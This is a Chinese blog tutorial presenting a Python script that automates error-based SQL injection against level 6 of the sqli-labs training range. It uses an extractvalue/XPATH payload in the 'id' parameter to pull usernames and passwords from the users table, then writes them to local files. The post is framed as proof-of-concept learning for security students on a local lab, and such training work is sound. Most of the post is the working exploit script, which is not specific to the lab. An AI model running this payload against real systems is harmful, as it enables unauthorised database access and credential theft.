sqli-labs靶场自动化利用工具——第6关

文章目录

概要

Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。

本章适合人群:

  1. 网安专业学生
  2. 报班学习网安内容的同学
  3. 提高写POC能力的网安从业者

整体架构流程

因为是sqli-labs的第6关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。

整体流程主要是仿爬虫的形式访问网页,之后将得到的数据记录在和py文件同一级的目录下面。

技术细节

python 复制代码
import re
import requests

dict_list = {}


def send_request(url, options, limit_choice, file_name):
    try:
        headers = {
            'Host': 'sql:8081',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'close',
            'Upgrade-Insecure-Requests': '1',
            'Priority': 'u=0, i'
        }
        params = {
            'id': f'1" and extractvalue(1,concat(0x23,(select {options} from users order by id limit {limit_choice},1),0x23))-- -'
        }
        response = requests.get(url + "/Less-6/", headers=headers, params=params, verify=False)
        if response.status_code == 200:
            # print(f'{url} 存在漏洞.')
            html_content = response.text
            match = re.search(r"XPATH syntax error: '#(.*?)#'", html_content)
            if match:
                extracted_value = match.group(1)

                # 将提取的信息写入文件
                with open(file_name, 'a') as f:
                    f.write(f"{extracted_value}\n")
            else:
                print(f"未能从 {url} 提取值")
        else:
            print(f'{url} 请求失败,状态码: {response.status_code}')
    except requests.RequestException as e:
        print(f'Error scanning {url}: {e}')
    except IOError as e:
        print(f"Error writing to file: {e}")


url = 'http://sql:8081'

# 创建两个空文件
open('usernames.txt', 'w').close()
open('passwords.txt', 'w').close()

for limit_choice in range(0, 13):
    send_request(url, "username", limit_choice, 'usernames.txt')
    send_request(url, "password", limit_choice, 'passwords.txt')

print("所有请求已完成,结果已保存到 usernames.txt 和 passwords.txt 文件中。")

执行效果

小结

由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。

且想输出不一样的文件内容格式,也可以进行微调整。

最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。

相关推荐
jnrjian1 分钟前
FRA中 keep的backup set 不保险
sql·oracle
宇钶宇夕15 分钟前
三旺 INP314T 网关快速入门指南:从登录到基础配置
运维·自动化·软件工程
上海云盾-小余18 分钟前
WEB防火墙的主要防御功能有哪些
安全·web安全·网络安全·安全威胁分析·ddos
心无旁骛~35 分钟前
python多进程和多线程问题
开发语言·python
星云数灵36 分钟前
使用Anaconda管理Python环境:安装与验证Pandas、NumPy、Matplotlib
开发语言·python·数据分析·pandas·教程·环境配置·anaconda
计算机毕设匠心工作室1 小时前
【python大数据毕设实战】青少年抑郁症风险数据分析可视化系统、Hadoop、计算机毕业设计、包括数据爬取、数据分析、数据可视化、机器学习
后端·python
计算机毕设小月哥1 小时前
【Hadoop+Spark+python毕设】智能制造生产效能分析与可视化系统、计算机毕业设计、包括数据爬取、Spark、数据分析、数据可视化、Hadoop
后端·python·mysql
计算机毕设小月哥3 小时前
【Hadoop+Spark+python毕设】中风患者数据可视化分析系统、计算机毕业设计、包括数据爬取、Spark、数据分析、数据可视化、Hadoop
后端·python·mysql
Keep_Trying_Go3 小时前
基于Zero-Shot的目标计数算法详解(Open-world Text-specified Object Counting)
人工智能·pytorch·python·算法·多模态·目标统计